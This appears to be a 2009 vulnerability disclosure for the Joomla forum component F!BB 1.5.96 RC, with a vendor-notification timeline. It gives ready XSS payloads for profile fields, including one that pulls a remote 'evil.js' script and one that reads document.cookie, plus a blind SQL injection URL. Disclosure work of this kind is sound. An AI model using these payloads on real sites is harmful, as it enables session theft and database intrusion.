The Joomla component F!BB 1.5.96 RC suffers from multiple persistent XSS vulnerabilities, as well SQL Injection in its user search feature.

1. ICQ, MSN Profile Fields XSS

   The MSN field will be rendered in the page twice.

   "><script>alert(document.cookie)</script><b f="

2. AIM Profile Field XSS

   This vulnerability has a limited number of characters, but this will inject script:

   "><script src=//jeffchannell.com/evil.js></script

   NOTE: Skype, Gtalk, website fields are also vulnerable, though the window for injection is even smaller!

3. Blind SQL Injection

   REQUIRES: magic_quotes_gpc OFF

   index.php?option=com_fbb&func=advsearch&q=&exactname=1&childforums=1&limitstart=0&searchuser=%' AND SUBSTRING(@@version,1,1)=5 -- '
   
   If MySQL is version 5, this will return results. Otherwise, no results.
   

Timeline

• Vulnerabilities Discovered: 31 July 2009
• Vendor Notified: 31 July 2009
• Vendor Response: 31 July 2009
• Update Available: ... 2009
• Disclosure: 17 September 2009